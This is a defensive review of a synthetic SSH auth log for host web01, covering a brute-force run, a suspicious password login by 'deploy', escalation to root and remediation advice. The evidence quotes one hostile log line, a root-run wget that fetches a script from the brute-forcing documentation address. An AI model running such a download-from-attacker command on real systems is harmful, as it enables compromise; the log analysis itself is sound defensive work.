SSH Authentication Log Review — host web01

Date: 2026-10-30 · **Prepared by:** log analysis specialist · **Input:** `examples/ornek-auth.log` — 54 lines (4 header comment lines beginning with `#` plus 50 event lines), host web01 (Ubuntu)

Summary

- 50 event lines were reviewed. They contain 19 failed password attempts from a single address and a further 3 failed attempts against the `deploy` account, plus 4 successful logins in total (3 by key, 1 by password).
- Most urgent item, Critical: the `deploy` account logged in with a password at 03:18:05 UTC, escalated to root 36 seconds later, and 85 seconds after the login ran a download command pointing at `203.0.113.45` — the same address that had made the 19 failed attempts earlier the same night.
- Do this first: suspend the `deploy` account or reset its password, and have the host examined for a possible compromise.
- Every **FACT** below points to an exact line of the log file analysed, or to a search output showing a count.

Labels: `FACT` = read directly from the log file analysed · `FIX` = recommended change · `CHECK` = could not be determined from the supplied log; confirm separately before acting on it.

Scope

- Input: `examples/ornek-auth.log` — synthetic demonstration data, not a real customer server. 54 lines: 4 header comment lines (`#`) and 50 event lines. Host: web01 (Ubuntu). The addresses come from the RFC 5737 documentation ranges. Line numbers in this document are the file's real line numbers, with the 4 header comment lines included in the count.
- Time basis: according to the file's own header (`examples/ornek-auth.log:3`), the server clock, the line timestamps and the owner's local time are all UTC, and the owner's working hours are 09:00–18:00. Every remark about time in this document rests on that stated information, not on an assumption.
- Reviewed for: failed logins, concentrated attempts from one source (brute force), invalid or unexpected user names, failed-then-successful login sequences, sudo and privilege escalation, and activity at unusual hours.
- Out of scope: no scan, ping or connection was made to any address in the log. No external threat intelligence was queried and no address reputation was assessed. No examination was carried out on the host itself. The file was read only; nothing was changed.

Findings

Ordered by severity, highest first.

1 — Critical · Privilege escalation and an outbound download right after the `deploy` login (lines 39, 41–44)

- **FACT**: Immediately after the successful `deploy` session, privilege escalation took place: at 03:18:41 UTC `sudo /bin/su -` was run and a root session was opened (lines 41–42); at 03:19:30 UTC the command `wget http://203.0.113.45/x.sh` was run as root (line 43). The session closed at 03:20:14 UTC (line 44). The address targeted by that command, `203.0.113.45`, is the same address that made 19 failed attempts against the server the same night.
- **FIX**: Suspend the `deploy` account immediately or reset its password, and have the host examined for a possible compromise (because a download command was run as root, live response may be needed): look for the `x.sh` file, and check the `wget` output, shell history, scheduled tasks and any newly created accounts.

2 — High · A failed-then-successful password login for `deploy` (lines 36–39)

- **FACT**: The `deploy` user failed 3 times from `198.51.100.20` at 03:17:44, 03:17:48 and 03:17:52 UTC (lines 36–38), and then logged in successfully with a password from the same source at 03:18:05 UTC (line 39). An important detail: all 3 failures belong to the **same connection** — the same process id (pid 2501) and the same source port (52880) — that is, 3 password prompts in a row within a single session. The successful login is a **separate connection** (pid 2503, port 52894). `deploy` never appears as an invalid user in this log; it is an existing account.
- **FIX**: Turn off password authentication for SSH and move to keys only (`PasswordAuthentication no`), and disable direct login for `root` (`PermitRootLogin no`). The owner's own access already uses keys, so this change does not affect legitimate use.

3 — Medium · 19 failed password attempts from one address in 52 seconds (lines 5–35)

- **FACT**: A total of 19 failed password attempts were made from `203.0.113.45` between 03:02:17 and 03:03:09 UTC (52 seconds); 7 of them against the `root` account and 12 against user names that do not exist. There is no `Accepted` line for this address at all (count: 0) — that is, none of the attempts succeeded. Consecutive attempts against different user names in such a short window match a brute-force or dictionary attack pattern.
- **FIX**: Apply fail2ban or login rate limiting to curb repeated failed attempts, and have `203.0.113.45` and `198.51.100.20` reviewed by the security team.

4 — Info · 12 invalid or unexpected user names tried (lines 5–35)

- **FACT**: `203.0.113.45` tried these 12 invalid or unexpected user names: admin, test, oracle, postgres, ubuntu, git, jenkins, tomcat, www-data, mysql, ftpuser, administrator. Each was tried exactly once. An `Invalid user` record means sshd reported that the account does not exist on the server. This list is a typical automated scanner target list.

5 — Info · All suspicious activity fell outside working hours (lines 5–44 and 45–54)

- **FACT**: All of the suspicious activity occurred between 03:02:17 and 03:20:14 UTC (lines 5–44), while the owner's legitimate sessions occurred between 09:14:02 and 11:45:33 UTC (lines 45–54). Measured against the working hours stated in the file header (09:00–18:00 UTC), the suspicious activity falls entirely outside working hours. This separation in time helps to tell legitimate traffic from suspicious traffic.

6 — Info · The `admin` activity is the server owner's legitimate traffic (lines 45, 48, 50, 52)

- **FACT**: The activity of the `admin` user from `192.0.2.10` is the server owner's legitimate traffic and has not been flagged as an attack: all 3 logins (09:14:02, 09:41:55 and 11:22:09 UTC — lines 45, 48, 52) were made with a public key; there is no successful password login for this user at all (count: 0). The logins fall within the working hours given in the header (09:00–18:00) and the single sudo command is `apt update` (line 50).

Points that could not be determined from the supplied log

- **CHECK** — Whether the `deploy` account was actually compromised cannot be concluded with certainty from this log. Three wrong passwords within a single connection is also known behaviour for a real user mistyping their password; that sequence alone is not evidence of a compromise. What does raise concern is the sequence that follows the successful login: escalation to root 36 seconds after the login (lines 39 → 41; 03:18:05 → 03:18:41) and, 85 seconds after the login, a file download command run **from the address that performed the brute force** (lines 39 → 43; 03:18:05 → 03:19:30). A legitimate administrator would not be expected to pull a script from an address that made 19 failed attempts against the server the same night. The possibility of account compromise should therefore be taken seriously, but it must not be treated as established; confirming it requires an examination on the host.
- **CHECK** — It was not confirmed with any external source that `203.0.113.45` and `198.51.100.20` are "malicious". The logs show only the behaviour coming from these addresses; a reputation assessment requires separate research.

- **CHECK** — The contents of the `x.sh` file, whether the download succeeded, and whether it was executed are not apparent from this log. The log records only that the `wget` command was run with sudo; the outcome of the command is not written to the authentication log.

Evidence

Counts (all produced by the commands shown, with `$f` = `examples/ornek-auth.log`). The same figures were also confirmed with an independent Python script:

- `grep -c 'Failed password.*203.0.113.45' $f` → `19`
- `grep -c 'Failed password for root from 203.0.113.45' $f` → `7`
- `grep -c 'Failed password for invalid user.*203.0.113.45' $f` → `12` (7 + 12 = 19, the total holds)
- `grep -c 'Accepted.*203.0.113.45' $f` → `0`
- `grep -c 'Failed password for deploy from 198.51.100.20' $f` → `3`
- `grep -c 'Accepted password for deploy from 198.51.100.20' $f` → `1`
- `grep -c 'Accepted publickey for admin from 192.0.2.10' $f` → `3`
- `grep -c 'Accepted' $f` → `4` (3 admin public-key logins + 1 deploy password login; 0 for 203.0.113.45)
- `grep -oE 'Invalid user [a-z-]+' $f | awk '{print $3}' | sort` → `admin administrator ftpuser git jenkins mysql oracle postgres test tomcat ubuntu www-data` (12 names, each once; `deploy` is not in the list)
- Line order: the timestamps of the event lines were confirmed to be in ascending (chronological) order; the first event is `Oct 25 03:02:17`, the last is `Oct 25 11:45:33`.

Source lines (`examples/ornek-auth.log:<line>`):

- `3` — `# Timezone: the server's clock, these timestamps and the owner's local time are all UTC. Owner's working hours: 09:00-18:00.` (the basis for every remark about time)
- `5` — `Oct 25 03:02:17 web01 sshd[2410]: Failed password for root from 203.0.113.45 port 40122 ssh2` (start of the brute force)
- `8` — `Oct 25 03:02:24 web01 sshd[2412]: Invalid user admin from 203.0.113.45 port 40130`
- `34-35` — `Oct 25 03:03:09 web01 sshd[2438]: Invalid user administrator from 203.0.113.45 port 40234` / `Failed password for invalid user administrator from 203.0.113.45 port 40234 ssh2` (end of the brute force)
- `36` — `Oct 25 03:17:44 web01 sshd[2501]: Failed password for deploy from 198.51.100.20 port 52880 ssh2`
- `37` — `Oct 25 03:17:48 web01 sshd[2501]: Failed password for deploy from 198.51.100.20 port 52880 ssh2`
- `38` — `Oct 25 03:17:52 web01 sshd[2501]: Failed password for deploy from 198.51.100.20 port 52880 ssh2` (all three carry pid 2501 / port 52880 → a single connection)
- `39` — `Oct 25 03:18:05 web01 sshd[2503]: Accepted password for deploy from 198.51.100.20 port 52894 ssh2` (failed then successful; a separate connection: pid 2503 / port 52894)
- `41` — `Oct 25 03:18:41 web01 sudo: deploy : TTY=pts/1 ; PWD=/home/deploy ; USER=root ; COMMAND=/bin/su -`
- `42` — `Oct 25 03:18:41 web01 sudo: pam_unix(sudo:session): session opened for user root by deploy(uid=1002)`
- `43` — `Oct 25 03:19:30 web01 sudo: deploy : TTY=pts/1 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/wget http://203.0.113.45/x.sh`
- `44` — `Oct 25 03:20:14 web01 sshd[2503]: pam_unix(sshd:session): session closed for user deploy`

- `45` — `Oct 25 09:14:02 web01 sshd[1811]: Accepted publickey for admin from 192.0.2.10 port 51122 ssh2: RSA SHA256:ab12cd` (the owner, legitimate)
- `50` — `Oct 25 09:41:56 web01 sudo: admin : TTY=pts/0 ; PWD=/home/admin ; USER=root ; COMMAND=/usr/bin/apt update` (the owner, routine administration)
- `52-54` — the admin public-key session from 11:22:09 to 11:45:33 UTC (the owner, legitimate)

Verification

Every **FACT** in this document is based on the specific log lines and the command-produced counts shown in the evidence section above; no number was estimated. The counts are consistent: 7 failed attempts against `root` plus 12 against invalid user names make the 19 failed attempts from `203.0.113.45`, and the 4 successful logins in the file are 3 `admin` public-key logins plus 1 `deploy` password login. Judgements that would require inference — whether the account was genuinely compromised, the reputation of the addresses, and the contents and fate of `x.sh` — are not presented as facts; each is listed separately as a **CHECK** item with its reasoning. Remarks about time rest on the time zone and working hours stated in the log header, not on an assumption. The underlying analysis was checked by a second reviewer, who re-derived every count with an independent script and compared the quoted lines character by character against the log file before this document was prepared.